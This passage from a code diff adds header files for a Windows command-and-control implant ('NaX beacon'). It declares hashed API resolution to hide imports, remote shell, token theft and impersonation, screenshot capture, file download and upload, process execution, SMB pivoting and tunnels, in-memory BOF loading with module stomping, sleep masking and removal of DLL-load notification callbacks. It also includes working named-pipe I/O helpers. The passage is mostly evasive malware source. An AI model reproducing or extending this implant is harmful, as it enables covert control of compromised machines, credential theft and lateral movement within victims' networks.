: (void)0 )
|
||||
|
||||
#define NaxDbg( Nax, fmt, ... ) \
|
||||
( ( Nax ) && ( Nax )->Msvcrt.printf \
|
||||
? ( (void)( Nax )->Msvcrt.printf( \
|
||||
"[NaX::%s::%s::%d] => " fmt "\n", \
|
||||
__FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ) ) \
|
||||
: (void)0 )
|
||||
|
||||
#else
|
||||
#define NaxDbgx( Nax, fmt, ... ) ( (void)0 )
|
||||
#define NaxDbg( Nax, fmt, ... ) ( (void)0 )
|
||||
#endif
|
||||
|
||||
/* ========= [ global instance accessor ] ========= */
|
||||
/* G_INSTANCE - recover NAX_INSTANCE from TEB->NtTib.ArbitraryUserPointer.
|
||||
* Uses NaxCurrentTeb() (Defs.h overlay) because mingw _TEB is opaque.
|
||||
* NT_TIB.ArbitraryUserPointer sits at TEB+0x028; the cast is safe. */
|
||||
#define G_INSTANCE PNAX_INSTANCE Nax = \
|
||||
(PNAX_INSTANCE)NaxCurrentTeb()->NtTib.ArbitraryUserPointer
|
||||
|
||||
/* ===== ntdll thread pool + critical section ===== */
|
||||
#define H_TPALLOCWORK 0x626981afu
|
||||
#define H_TPPOSTWORK 0x77d8b8e6u
|
||||
#define H_TPRELEASEWORK 0x18b7bcafu
|
||||
#define H_RTLINITIALIZECRITICALSECTION 0x2609832du
|
||||
#define H_RTLENTERCRITICALSECTION 0x39ad70efu
|
||||
#define H_RTLLEAVECRITICALSECTION 0x56e886f8u
|
||||
#define H_RTLTRYENTERCRITICALSECTION 0x9010ae00u
|
||||
#define H_RTLDELETECRITICALSECTION 0x5cf633fau
|
||||
|
||||
/* ===== kernel32 threading ===== */
|
||||
#define H_CREATETHREAD 0x390a6579u
|
||||
#define H_TERMINATETHREAD 0xab268abcu
|
||||
#define H_GETTICKCOUNT64 0xb6f9b737u
|
||||
#define H_GETCURRENTTHREAD 0x3a773de8u
|
||||
#define H_DUPLICATEHANDLE 0x84a0a8d0u
|
||||
#define H_GETCURRENTPROCESS 0xc75b7345u
|
||||
|
||||
/* ===== ntdll NT API (added for BOF execution) ===== */
|
||||
#define H_NTALLOCATEVIRTUALMEMORY 0xD58D5A18u /* NtAllocateVirtualMemory */
|
||||
#define H_NTPROTECTVIRTUALMEMORY 0x069FF566u /* NtProtectVirtualMemory */
|
||||
#define H_NTFREEVIRTUALMEMORY 0x8A45BA47u /* NtFreeVirtualMemory */
|
||||
#define H_RTLADDFUNCTIONTABLE 0xAA532C08u /* RtlAddFunctionTable */
|
||||
#define H_RTLDELETEFUNCTIONTABLE 0x9D3FF94Au /* RtlDeleteFunctionTable */
|
||||
#define H__VSNPRINTF 0x193ECBC2u /* _vsnprintf */
|
||||
|
||||
/* ===== kernel32 (BOF dynamic Win32 resolution) ===== */
|
||||
#define H_LOADLIBRARYA 0xE96CE9EFu /* LoadLibraryA */
|
||||
#define H_GETPROCADDRESS 0x12D71805u /* GetProcAddress */
|
||||
|
||||
/* ===== Beacon API table hashes (FNV1a of function name, no __imp_ prefix) ===== */
|
||||
#define H_BOF_BEACONDATAPARSE 0xF50B7120u
|
||||
#define H_BOF_BEACONDATAINT 0xE04B32FAu
|
||||
#define H_BOF_BEACONDATASHORT 0xDFCDEB61u
|
||||
#define H_BOF_BEACONDATALENGTH 0x83077BB1u
|
||||
#define H_BOF_BEACONDATAEXTRACT 0x67BD9D82u
|
||||
#define H_BOF_BEACONOUTPUT 0x65561DB0u
|
||||
#define H_BOF_BEACONPRINTF 0x5CD69236u
|
||||
#define H_BOF_BEACONISADMIN 0xF626BAF8u
|
||||
#define H_BOF_BEACONFORMATALLOC 0xC823D737u
|
||||
#define H_BOF_BEACONFORMATRESET 0xE62F39D9u
|
||||
#define H_BOF_BEACONFORMATFREE 0x43327794u
|
||||
#define H_BOF_BEACONFORMATAPPEND 0xA9422B42u
|
||||
#define H_BOF_BEACONFORMATPRINTF 0x97E3AE55u
|
||||
#define H_BOF_BEACONFORMATTOSTRING 0xE4BFBF6Eu
|
||||
#define H_BOF_BEACONFORMATINT 0xD81013B7u
|
||||
|
||||
/* ===== Additional Beacon API (from beacon.h additions) ===== */
|
||||
#define H_BOF_BEACONDATAPTR 0x87CE7C1Du /* BeaconDataPtr */
|
||||
#define H_BOF_BEACONUSETOKEN 0xEEBAA4E5u /* BeaconUseToken */
|
||||
#define H_BOF_BEACONREVERTTOKEN 0x95FE635Cu /* BeaconRevertToken */
|
||||
#define H_BOF_BEACONGETSPAWNTO 0x83125743u /* BeaconGetSpawnTo */
|
||||
#define H_BOF_BEACONINFORMATION 0x4A788379u /* BeaconInformation */
|
||||
#define H_BOF_TOWIDECHAR 0x76F95C03u /* toWideChar */
|
||||
|
||||
/* ===== Adaptix-extension Beacon API (adaptix.h) ===== */
|
||||
#define H_BOF_AXADDSCREENSHOT 0x7B379A8Bu /* AxAddScreenshot */
|
||||
#define H_BOF_AXDOWNLOADMEMORY 0x177559E7u /* AxDownloadMemory */
|
||||
/* Async BOF APIs */
|
||||
#define H_BOF_BEACONWAKEUP 0xde6f5ab4u
|
||||
#define H_BOF_BEACONGETSTOPJOBEVENT 0x6e7db176u
|
||||
/* BOF proxy functions - bare LoadLibraryA/GetProcAddress/etc. (no MODULE$ prefix) */
|
||||
#define H_BOF_LOADLIBRARYA 0xE96CE9EFu /* LoadLibraryA */
|
||||
#define H_BOF_GETPROCADDRESS 0x12D71805u /* GetProcAddress */
|
||||
#define H_BOF_GETMODULEHANDLEA 0xA2AE8F7Cu /* GetModuleHandleA */
|
||||
#define H_BOF_FREELIBRARY 0x9CE6498Eu /* FreeLibrary */
|
||||
|
||||
/* ===== beacon private heap management ===== */
|
||||
#define H_HEAPCREATE 0xF6BF1E07u /* HeapCreate */
|
||||
#define H_HEAPDESTROY 0x7ACACAAFu /* HeapDestroy */
|
||||
|
||||
/* ===== ws2_32.dll (tunnel support, loaded lazily) ===== */
|
||||
#define H_WS2_32_DLL 0x5ECCCD63u
|
||||
#define H_WSASTARTUP 0xB543F11Fu
|
||||
#define H_WSACLEANUP 0x28729B02u
|
||||
#define H_WSAGETLASTERROR 0x15818D3Cu
|
||||
#define H_SOCKET_FN 0x6DBCB3ECu /* socket */
|
||||
#define H_CLOSESOCKET 0x71F47D22u
|
||||
#define H_CONNECT_FN 0x782B3CD9u /* connect */
|
||||
#define H_BIND_FN 0x7387766Eu /* bind */
|
||||
#define H_LISTEN_FN 0x84AF5CA6u /* listen */
|
||||
#define H_ACCEPT_FN 0x209E17E9u /* accept */
|
||||
#define H_SEND_FN 0xB051CE6Fu /* send */
|
||||
#define H_RECV_FN 0x2A36852Du /* recv */
|
||||
#define H_SELECT_FN 0xB4293AADu /* select */
|
||||
#define H_IOCTLSOCKET 0xAF87B2FFu
|
||||
#define H_HTONS 0x1A670BB5u
|
||||
#define H_NTOHS 0x5D88A761u
|
||||
#define H_INET_ADDR 0x52A5D3B3u
|
||||
#define H_GETHOSTBYNAME 0x76E0C5A3u
|
||||
#define H_SETSOCKOPT 0x1147B2C8u
|
||||
#define H_SHUTDOWN_FN 0x98AE7DCBu /* shutdown */
|
||||
#define H_WSACREATEEVENT 0x5E2A89DAu
|
||||
#define H_WSACLOSEEVENT 0x2FED8392u
|
||||
#define H_WSAEVENTSELECT 0xB709ABEEu
|
||||
#define H_WSARESETEVENT 0x024F6B57u
|
||||
#define H_WSAENUMNETWORKEVENTS 0x4B2730B6u
|
||||
@@ -0,0 +1,195 @@
|
||||
/* beacon/include/Nax.h
|
||||
* Central forward declarations for all internal beacon functions.
|
||||
* Include this instead of scattering FUNC prototypes across .c files. */
|
||||
|
||||
#pragma once
|
||||
#include "Macros.h"
|
||||
#include "Instance.h"
|
||||
#include "Wire.h"
|
||||
#include "Helpers.h"
|
||||
#include "NaxConstants.h"
|
||||
|
||||
/* ========= [ Core/Ldr.c - PEB walk, hashing, encoding ] ========= */
|
||||
|
||||
FUNC PNAX_PEB_LDR_DATA NaxGetLdr( VOID );
|
||||
FUNC HANDLE NaxGetProcessHeap( VOID );
|
||||
FUNC UINT32 NaxHashStr( const PCHAR str );
|
||||
FUNC UINT32 NaxHashWStr( const WCHAR* str );
|
||||
FUNC HMODULE NaxGetModule( UINT32 h );
|
||||
FUNC PVOID NaxGetProc( HMODULE base, UINT32 h );
|
||||
FUNC VOID NaxHexEncode( const PBYTE src, UINT32 len, PCHAR dst );
|
||||
FUNC UINT32 NaxUToStr( UINT32 val, PCHAR buf );
|
||||
FUNC VOID NaxAsciiToWide( const PCHAR src, PWCHAR dst, UINT32 cap );
|
||||
FUNC UINT32 NaxBase64Encode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap );
|
||||
FUNC UINT32 NaxBase64UrlEncode( const PBYTE src, UINT32 src_len, PCHAR dst, UINT32 dst_cap );
|
||||
FUNC UINT32 NaxBase64Decode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
|
||||
FUNC UINT32 NaxHexDecode( const PCHAR src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
|
||||
FUNC UINT32 NaxXorMask( PNAX_INSTANCE Nax, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
|
||||
FUNC UINT32 NaxXorUnmask( const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
|
||||
|
||||
/* ========= [ Core/Bootstrap.c ] ========= */
|
||||
|
||||
typedef struct _NAX_SYSINFO {
|
||||
CHAR Hostname[64];
|
||||
CHAR Username[256];
|
||||
CHAR IpStr[64];
|
||||
CHAR Domain[256];
|
||||
CHAR Procname[256];
|
||||
UINT32 Pid;
|
||||
UINT32 Tid;
|
||||
UINT32 HnLen;
|
||||
UINT32 UnLen;
|
||||
UINT32 IpLen;
|
||||
UINT32 DmLen;
|
||||
UINT32 PnLen;
|
||||
UINT32 ImLen;
|
||||
} NAX_SYSINFO, *PNAX_SYSINFO;
|
||||
|
||||
FUNC PNAX_INSTANCE NaxBootstrap( VOID );
|
||||
FUNC UINT32 NaxEffectiveSleep( PNAX_INSTANCE Nax );
|
||||
FUNC VOID NaxGetInternalIp( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap );
|
||||
FUNC VOID NaxGetDomain( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap );
|
||||
FUNC VOID NaxGatherSysInfo( PNAX_INSTANCE Nax, PNAX_SYSINFO info );
|
||||
|
||||
/* ========= [ Core/Config.c ] ========= */
|
||||
|
||||
FUNC VOID NaxInitConfig( PNAX_INSTANCE Nax );
|
||||
FUNC INT NaxApplyProfile( PNAX_INSTANCE Nax, const PBYTE body, UINT32 body_len );
|
||||
|
||||
/* ========= [ Core/PackerProfile.c ] ========= */
|
||||
|
||||
FUNC INT NaxDecodeProfile( const PBYTE data, UINT32 data_len, PNAX_INSTANCE Nax );
|
||||
|
||||
/* ========= [ Core/Cfg.c - Control Flow Guard ] ========= */
|
||||
|
||||
FUNC VOID NaxCfgInit( PNAX_INSTANCE Nax );
|
||||
FUNC BOOL NaxCfgAddTarget( PNAX_INSTANCE Nax, PVOID ImageBase, PVOID Function );
|
||||
|
||||
/* ========= [ Core/Crypto.c ] ========= */
|
||||
|
||||
FUNC INT NaxEncrypt( PNAX_INSTANCE Nax, const PBYTE plain, UINT32 plain_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxDecrypt( PNAX_INSTANCE Nax, const PBYTE in, UINT32 in_len, PBYTE plain, UINT32* plain_len );
|
||||
|
||||
/* ========= [ Core/Packer.c - wire framing ] ========= */
|
||||
|
||||
FUNC VOID NaxW16( PBYTE p, UINT16 v );
|
||||
FUNC VOID NaxW32( PBYTE p, UINT32 v );
|
||||
FUNC UINT16 NaxR16( const PBYTE p );
|
||||
FUNC UINT32 NaxR32( const PBYTE p );
|
||||
FUNC INT NaxFrameEncode( BYTE msg_type, const PBYTE payload, UINT32 payload_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxFrameDecode( const PBYTE frame, UINT32 frame_len, BYTE* msg_type, PBYTE* payload, UINT32* payload_len );
|
||||
FUNC INT NaxBuildRegBody( const PCHAR hn, UINT32 hn_len, const PCHAR un, UINT32 un_len, BYTE os_type,
|
||||
UINT32 os_ver, UINT32 pid, UINT32 tid,
|
||||
const PCHAR proc, UINT32 proc_len, const PCHAR ip, UINT32 ip_len,
|
||||
const PCHAR domain, UINT32 domain_len,
|
||||
BYTE is_admin, UINT32 os_build, UINT32 os_arch, UINT16 acp, UINT32 oem_cp, UINT32 sleep_ms, UINT32 jitter,
|
||||
const PCHAR img_path, UINT32 img_path_len,
|
||||
PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxBuildHeartbeat( PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxDecodeTask( const PBYTE body, UINT32 body_len, NAX_TASK* t );
|
||||
FUNC INT NaxBuildResult( UINT32 task_id, BYTE status, const PBYTE data, UINT32 data_len, PBYTE out, UINT32* out_len );
|
||||
|
||||
/* ========= [ Commands/Dispatch.c ] ========= */
|
||||
|
||||
FUNC INT NaxDispatch( PNAX_INSTANCE Nax, const NAX_TASK* task,
|
||||
UINT32* result_task_id, BYTE* result_status,
|
||||
PBYTE result_data, UINT32* result_data_len );
|
||||
|
||||
/* ========= [ Commands/Sleepmask.c - BeaconGate ] ========= */
|
||||
|
||||
FUNC INT NaxSleepmaskInit( PNAX_INSTANCE Nax );
|
||||
FUNC INT NaxSleepmaskWire( PNAX_INSTANCE Nax, PBYTE coff, UINT32 coff_size );
|
||||
FUNC VOID NaxGateUnwireAll( PNAX_INSTANCE Nax );
|
||||
|
||||
/* ========= [ Commands/Pivot.c ] ========= */
|
||||
|
||||
FUNC UINT32 NaxProcessPivots( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap );
|
||||
FUNC VOID NaxPostPivotHeaderRead( PNAX_INSTANCE Nax, NAX_PIVOT* p );
|
||||
|
||||
/* ========= [ Commands/Jobs.c ] ========= */
|
||||
|
||||
FUNC UINT32 NaxProcessJobs( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap );
|
||||
FUNC NAX_JOB* NaxJobCreate( PNAX_INSTANCE Nax, UINT32 taskId, PBYTE coffBuf, UINT32 coffSize, PBYTE argsBuf, UINT32 argsSize, DWORD timeoutMs );
|
||||
FUNC INT NaxJobStart( PNAX_INSTANCE Nax, NAX_JOB* job );
|
||||
FUNC INT NaxJobList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxJobKill( PNAX_INSTANCE Nax, UINT32 taskId );
|
||||
|
||||
/* ========= [ Commands/Shell.c - remote shell ] ========= */
|
||||
FUNC VOID NaxShellDispatch( PNAX_INSTANCE Nax, UINT32 taskId, BYTE cmdId, const PBYTE args, UINT32 argsLen );
|
||||
FUNC UINT32 NaxProcessShells( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap );
|
||||
|
||||
/* ========= [ Commands/Tunnel.c ] ========= */
|
||||
|
||||
FUNC UINT32 NaxProcessTunnels( PNAX_INSTANCE Nax, PBYTE out, UINT32 outCap );
|
||||
FUNC VOID NaxTunnelDispatch( PNAX_INSTANCE Nax, BYTE cmdId, PBYTE args, UINT32 argsLen );
|
||||
|
||||
/* ========= [ Bof/Loader.c ] ========= */
|
||||
|
||||
FUNC VOID NaxBofStompInit( PNAX_INSTANCE Nax );
|
||||
FUNC VOID NaxBofFreeResident( PNAX_INSTANCE Nax );
|
||||
|
||||
/* ========= [ Transport/Http.c ] ========= */
|
||||
|
||||
FUNC BYTE NaxRotateIdx( PNAX_INSTANCE Nax, BYTE idx, BYTE count );
|
||||
FUNC VOID NaxHttpMain( PNAX_INSTANCE Nax );
|
||||
|
||||
/* ========= [ Transport/HttpCodec.c ] ========= */
|
||||
|
||||
FUNC UINT32 NaxEncodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
|
||||
FUNC UINT32 NaxDecodeData( PNAX_INSTANCE Nax, const NAX_OUTPUT_CFG* cfg, const PBYTE src, UINT32 src_len, PBYTE dst, UINT32 dst_cap );
|
||||
FUNC UINT32 NaxAppendAsciiW( const PCHAR ascii, PWCHAR out, UINT32 wi, UINT32 cap );
|
||||
FUNC UINT32 NaxAppendCRLF( PWCHAR out, UINT32 wi, UINT32 cap );
|
||||
FUNC VOID NaxBuildRequestHeaders( PNAX_INSTANCE Nax, const PCHAR sid, const PCHAR hdr_base, UINT32 hdr_stride, BYTE hdr_count, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, BOOL is_post, PWCHAR out, UINT32 out_cap );
|
||||
FUNC BOOL NaxBuildUrl( PNAX_INSTANCE Nax, const PWCHAR url_w, PCHAR uri, PWCHAR out, UINT32 out_cap );
|
||||
FUNC VOID NaxBuildPathWithParams( PWCHAR path_src, PWCHAR path_out, UINT32 path_cap, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, const PCHAR param_base, UINT32 param_stride, BYTE param_count );
|
||||
|
||||
/* ========= [ command handlers ] ========= */
|
||||
|
||||
FUNC INT NaxCmdWhoami( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxCmdSleep( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdCd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdPwd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdMkdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdRmdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdCat( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdLs( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxCmdBof( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxCmdScreenshot( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxCmdDownload( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC UINT32 NaxProcessDownloads( PNAX_INSTANCE Nax, PBYTE out, UINT32 out_cap );
|
||||
FUNC INT NaxCmdUpload( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxCmdSaveMemory( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC NAX_MEMSAVE* NaxMemSaveGet( PNAX_INSTANCE Nax, UINT32 memoryId );
|
||||
FUNC VOID NaxMemSaveFree( PNAX_INSTANCE Nax, UINT32 memoryId );
|
||||
FUNC INT NaxCmdBofStomp( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxCmdSleepmaskSet( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxCmdSleepObfConfig( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdPsList( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdPsKill( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdPsRun( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdLink( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdUnlink( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdPivotExec( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdProfile( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdTokenGetUid( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdTokenSteal( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdTokenUse( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdTokenList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdTokenRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdTokenRevert( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdTokenMake( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len );
|
||||
FUNC INT CmdTokenPrivs( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
|
||||
|
||||
/* ========= [ Commands/DllNotify.c ] ========= */
|
||||
|
||||
typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
|
||||
LIST_ENTRY List;
|
||||
PLDR_DLL_NOTIFICATION_FUNCTION Callback;
|
||||
PVOID Context;
|
||||
} LDR_DLL_NOTIFICATION_ENTRY, *PLDR_DLL_NOTIFICATION_ENTRY;
|
||||
|
||||
FUNC PLIST_ENTRY NaxGetDllNotificationListHead( PNAX_INSTANCE Nax );
|
||||
FUNC INT NaxCmdDllNotifyList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
|
||||
FUNC INT NaxCmdDllNotifyRemove( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len );
|
||||
FUNC VOID NaxDllNotifyUnhookAll( PNAX_INSTANCE Nax );
|
||||
@@ -0,0 +1,83 @@
|
||||
/* beacon/include/NaxConstants.h
|
||||
* Shared named constants for magic values used across the beacon.
|
||||
* Replaces inline hex/decimal literals with descriptive macros. */
|
||||
|
||||
#pragma once
|
||||
|
||||
/* ========= [ memory alignment ] ========= */
|
||||
|
||||
#define NAX_PAGE_SIZE 0x1000u
|
||||
#define NAX_PAGE_MASK 0x0FFFu
|
||||
#define ALIGN_UP( size, align ) ( ( (size) + ((align) - 1) ) & ~( (SIZE_T)(align) - 1 ) )
|
||||
|
||||
/* ========= [ transport buffer sizes ] ========= */
|
||||
|
||||
#define NAX_IO_CAP ( 8 * 1024 * 1024 ) /* 8 MB - Http.c + Smb.c result/IO cap */
|
||||
#define NAX_REG_BODY_BUF 1200 /* registration body stack buffer */
|
||||
#define NAX_PIPE_CHUNK_SIZE 0x2000u /* 8 KB - pipe write chunk (Smb + Pivot) */
|
||||
#define NAX_PIPE_BUF_SIZE 0x10000u /* 64 KB - CreateNamedPipeA buffer size */
|
||||
|
||||
/* ========= [ Winsock SDK constants (PIC: not from headers) ] ========= */
|
||||
|
||||
#define NAX_AF_INET 2
|
||||
#define NAX_SOCK_STREAM 1
|
||||
#define NAX_IPPROTO_TCP 6
|
||||
|
||||
#define NAX_SOL_SOCKET 0xFFFF
|
||||
#define NAX_SO_RCVTIMEO 0x1006
|
||||
#define NAX_SO_SNDTIMEO 0x1005
|
||||
#define NAX_SO_REUSEADDR 0x0004
|
||||
|
||||
#define NAX_FIONBIO 0x8004667Eu
|
||||
#define NAX_INADDR_NONE 0xFFFFFFFFu
|
||||
#define NAX_INADDR_LOOPBACK_NBO 0x0100007Fu /* 127.0.0.1 in network byte order */
|
||||
#define NAX_WSAEWOULDBLOCK 10035
|
||||
|
||||
#define NAX_SD_SEND 1 /* shutdown(sock, SD_SEND) */
|
||||
#define NAX_SD_BOTH 2 /* shutdown(sock, SD_BOTH) */
|
||||
|
||||
/* FD_* event masks for WSAEventSelect */
|
||||
#define NAX_FD_READ 0x01
|
||||
#define NAX_FD_WRITE 0x02
|
||||
#define NAX_FD_ACCEPT 0x08
|
||||
#define NAX_FD_CONNECT 0x10
|
||||
#define NAX_FD_CLOSE 0x20
|
||||
|
||||
/* ========= [ tunnel operational constants ] ========= */
|
||||
|
||||
#define NAX_TUNNEL_RECV_MAX_ITER 16
|
||||
#define NAX_TUNNEL_RECV_BUDGET_MS 2500
|
||||
#define NAX_TUNNEL_RECV_HDR_RESERVE 16 /* entry header + payload header */
|
||||
#define NAX_TUNNEL_RECV_CHUNK_MAX 131072u /* 128 KB max single recv */
|
||||
#define NAX_TUNNEL_DRAIN_TIMEOUT_MS 5000
|
||||
#define NAX_TUNNEL_CLOSE_GRACE_MS 1000
|
||||
|
||||
/* ========= [ Win32 SDK constants (PIC: not from headers) ] ========= */
|
||||
|
||||
#define NAX_TOKEN_QUERY 0x0008u
|
||||
#define NAX_TOKEN_ELEVATION_TYPE 20
|
||||
#define NAX_MIB_IF_TYPE_LOOPBACK 24
|
||||
|
||||
/* PEB offset accessors for OS version (x64) */
|
||||
#define NAX_PEB_OSMAJOR_OFFSET 0x118u
|
||||
#define NAX_PEB_OSMINOR_OFFSET 0x11Cu
|
||||
#define NAX_PEB_OSBUILD_OFFSET 0x120u
|
||||
|
||||
/* Process info class for CFG policy */
|
||||
#define NAX_PROCESS_CFG_GUARD_POLICY 7
|
||||
#define NAX_CFG_CALL_TARGET_VALID 1
|
||||
|
||||
/* ========= [ BOF constants ] ========= */
|
||||
|
||||
#define NAX_BOF_MAPFN_MAX 512
|
||||
|
||||
/* ========= [ stomp context tag ] ========= */
|
||||
|
||||
#define NAX_STOMP_CTX_MAGIC 0x4E415854u /* 'NAXT' - loader writes at (code start + code size) */
|
||||
|
||||
/* ========= [ miscellaneous ] ========= */
|
||||
|
||||
#define NAX_PS_OUTPUT_WAIT_MS 10000
|
||||
#define NAX_ERROR_INVALID_PARAMETER 87
|
||||
#define NAX_SYSINFO_EXTRA_BUF 0x1000
|
||||
#define NAX_ARCH_UNKNOWN 10
|
||||
@@ -0,0 +1,64 @@
|
||||
/* beacon/include/Pipe.h
|
||||
* Shared overlapped named-pipe I/O helpers used by both the SMB transport
|
||||
* (child-side server) and the pivot manager (parent-side client).
|
||||
*
|
||||
* Both helpers are FUNC static so they land in .text$B and remain PIC-safe.
|
||||
* NAX_PIPE_CHUNK_SIZE controls the write chunk size (defined in NaxConstants.h). */
|
||||
|
||||
#pragma once
|
||||
#include "Nax.h"
|
||||
|
||||
/* ========= [ NaxPipeWrite - write length-prefixed message in chunks ] ========= */
|
||||
|
||||
FUNC static BOOL NaxPipeWrite( PNAX_INSTANCE Nax, HANDLE hPipe, HANDLE hEvent, const PBYTE data, UINT32 size ) {
|
||||
OVERLAPPED ov;
|
||||
MmZero( &ov, sizeof( ov ) );
|
||||
ov.hEvent = hEvent;
|
||||
DWORD written = 0;
|
||||
|
||||
Nax->Kernel32.ResetEvent( hEvent );
|
||||
if ( ! Nax->Kernel32.WriteFile( hPipe, &size, 4, &written, &ov ) ) {
|
||||
if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING )
|
||||
Nax->Kernel32.GetOverlappedResult( hPipe, &ov, &written, TRUE );
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
UINT32 idx = 0;
|
||||
while ( idx < size ) {
|
||||
UINT32 chunk = ( size - idx > NAX_PIPE_CHUNK_SIZE ) ? NAX_PIPE_CHUNK_SIZE : ( size - idx );
|
||||
MmZero( &ov, sizeof( ov ) );
|
||||
ov.hEvent = hEvent;
|
||||
written = 0;
|
||||
Nax->Kernel32.ResetEvent( hEvent );
|
||||
if ( ! Nax->Kernel32.WriteFile( hPipe, data + idx, chunk, &written, &ov ) ) {
|
||||
if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING )
|
||||
Nax->Kernel32.GetOverlappedResult( hPipe, &ov, &written, TRUE );
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
idx += written;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* ========= [ NaxPipeRead - read exact byte count in chunks ] ========= */
|
||||
|
||||
FUNC static BOOL NaxPipeRead( PNAX_INSTANCE Nax, HANDLE hPipe, HANDLE hEvent, PBYTE buf, UINT32 size ) {
|
||||
UINT32 idx = 0;
|
||||
while ( idx < size ) {
|
||||
OVERLAPPED ov;
|
||||
MmZero( &ov, sizeof( ov ) );
|
||||
ov.hEvent = hEvent;
|
||||
DWORD nRead = 0;
|
||||
Nax->Kernel32.ResetEvent( hEvent );
|
||||
if ( ! Nax->Kernel32.ReadFile( hPipe, buf + idx, size - idx, &nRead, &ov ) ) {
|
||||
if ( Nax->Kernel32.GetLastError() == ERROR_IO_PENDING )
|
||||
Nax->Kernel32.GetOverlappedResult( hPipe, &ov, &nRead, TRUE );
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
idx += nRead;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
/* beacon/include/Pivot.h
|
||||
* Pivot entry type constants for ProcessPivots output format. */
|
||||
|
||||
#pragma once
|
||||
